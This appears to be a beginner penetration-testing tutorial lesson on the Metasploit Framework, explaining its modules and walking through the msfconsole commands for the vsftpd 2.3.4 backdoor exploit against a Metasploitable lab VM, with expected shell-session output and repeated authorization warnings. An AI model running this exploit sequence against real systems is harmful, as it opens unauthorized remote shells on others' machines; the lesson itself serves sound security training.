Metasploit Framework Basics

Relax. We'll talk through this in plain words — no textbook voice.

What you'll walk away with

Understand Metasploit Framework Basics well enough that it stops being intimidating
Get hands-on running the tools yourself in an authorized lab environment
Be able to apply this concept immediately in a real assessment or report

Let's think about it this way for a second

Metasploit Framework is an open-source pentest framework that organizes exploit modules (pre-written code that targets a known vulnerability), payloads (code that runs on the target once an exploit succeeds, e.g. a reverse shell), and auxiliary modules (scanning, fuzzing). Professional pentesters use it to efficiently verify known vulnerabilities during authorized engagements, without having to write manual exploit code every time. CTF platforms like HackTheBox and TryHackMe also officially support Metasploit as a practice and learning tool.

Let's connect it to a real-world scenario

Using the Metasploitable VM (set up back in Basic lesson 4, which has the known vsftpd 2.3.4 backdoor vulnerability), you can test the exploit in your authorized lab with the sequence: open `msfconsole` → `search vsftpd` → `use exploit/unix/ftp/vsftpd_234_backdoor` → `set RHOSTS 192.168.56.101` → `run`. This is one of the most famous demos you'll come across on CTF/learning platforms — doing this against a real, unauthorized target is a serious crime.

Metasploit = an open-source pentest framework that organizes exploit modules, payloads, and auxiliary modules
CTF platforms (HackTheBox, TryHackMe) officially support practicing with Metasploit
Only practice on lab VMs (like Metasploitable) — never use it on real systems

Let's look at it together

bash

# Inside your isolated lab only — never against a system
# you don't have written authorization to test.

msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.101
run

You should see

[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[*] Found shell.
[*] Command shell session 1 opened

Try it in 5 minutes

Run the exploit against the Metasploitable VM using `msfconsole` (lab only) with the vsftpd backdoor module — read through the exploit's output and explain what happened (backdoor command execution).

A quick word of caution

Using Metasploit against a system you're not authorized to test is a serious criminal offense — stick to CTF platforms and your own lab VMs, and keep following the authorization principle this entire tutorial has been emphasizing.

Easy traps

Thinking of Metasploit as some kind of 'push-button hacking tool' — a professional pentest involves a lot of effort, from recon to manual verification to reporting; Metasploit is just one tool in that process
Blindly running an exploit module without confirming the target's patch level/version first (in a production environment this can cause system instability, and even in a lab it's a matter of good habits — build the correct workflow into your practice from the start)

Now try it yourself

You'll know it worked when: [*] 192.168.56.101:21 - USER: 331 Please specify the password. [*] Found shell. [*] Command shell session 1 opened